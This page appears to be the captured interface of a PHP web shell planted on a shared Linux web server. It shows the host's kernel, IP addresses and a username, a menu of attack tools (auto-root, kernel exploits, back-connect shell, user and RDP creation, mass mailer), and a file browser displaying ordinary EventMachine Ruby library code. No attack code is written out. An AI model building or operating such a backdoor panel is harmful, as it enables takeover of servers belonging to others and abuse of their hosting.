Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
em /
[ HOME SHELL ]
Name
Size
Permission
Action
deferrable
[ DIR ]
drwxr-xr-x
protocols
[ DIR ]
drwxr-xr-x
buftok.rb
2.13
KB
-rw-r--r--
callback.rb
2.14
KB
-rw-r--r--
channel.rb
1.53
KB
-rw-r--r--
completion.rb
9.71
KB
-rw-r--r--
connection.rb
33.41
KB
-rw-r--r--
deferrable.rb
7.8
KB
-rw-r--r--
file_watch.rb
2
KB
-rw-r--r--
future.rb
1.83
KB
-rw-r--r--
io_streamer.rb
1.86
KB
-rw-r--r--
iterator.rb
7.04
KB
-rw-r--r--
messages.rb
2.77
KB
-rw-r--r--
pool.rb
4.1
KB
-rw-r--r--
process_watch.rb
1.24
KB
-rw-r--r--
processes.rb
3.66
KB
-rw-r--r--
protocols.rb
1.5
KB
-rw-r--r--
pure_ruby.rb
34.87
KB
-rw-r--r--
queue.rb
2.06
KB
-rw-r--r--
resolver.rb
4.76
KB
-rw-r--r--
spawnable.rb
2.12
KB
-rw-r--r--
streamer.rb
3.59
KB
-rw-r--r--
threaded_resource.rb
2.8
KB
-rw-r--r--
tick_loop.rb
2.09
KB
-rw-r--r--
timers.rb
1.29
KB
-rw-r--r--
version.rb
50
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : callback.rb
module EventMachine # Utility method for coercing arguments to an object that responds to :call. # Accepts an object and a method name to send to, or a block, or an object # that responds to :call. # # @example EventMachine.Callback used with a block. Returns that block. # # cb = EventMachine.Callback do |msg| # puts(msg) # end # # returned object is a callable # cb.call('hello world') # # # @example EventMachine.Callback used with an object (to be more specific, class object) and a method name, returns an object that responds to #call # # cb = EventMachine.Callback(Object, :puts) # # returned object is a callable that delegates to Kernel#puts (in this case Object.puts) # cb.call('hello world') # # # @example EventMachine.Callback used with an object that responds to #call. Returns the argument. # # cb = EventMachine.Callback(proc{ |msg| puts(msg) }) # # returned object is a callable # cb.call('hello world') # # # @overload Callback(object, method) # Wraps `method` invocation on `object` into an object that responds to #call that proxies all the arguments to that method # @param [Object] Object to invoke method on # @param [Symbol] Method name # @return [<#call>] An object that responds to #call that takes any number of arguments and invokes method on object with those arguments # # @overload Callback(object) # Returns callable object as is, without any coercion # @param [<#call>] An object that responds to #call # @return [<#call>] Its argument # # @overload Callback(&block) # Returns block passed to it without any coercion # @return [<#call>] Block passed to this method # # @raise [ArgumentError] When argument doesn't respond to #call, method name is missing or when invoked without arguments and block isn't given # # @return [<#call>] def self.Callback(object = nil, method = nil, &blk) if object && method lambda { |*args| object.__send__ method, *args } else if object.respond_to? :call object else blk || raise(ArgumentError) end # if end # if end # self.Callback end # EventMachine
Close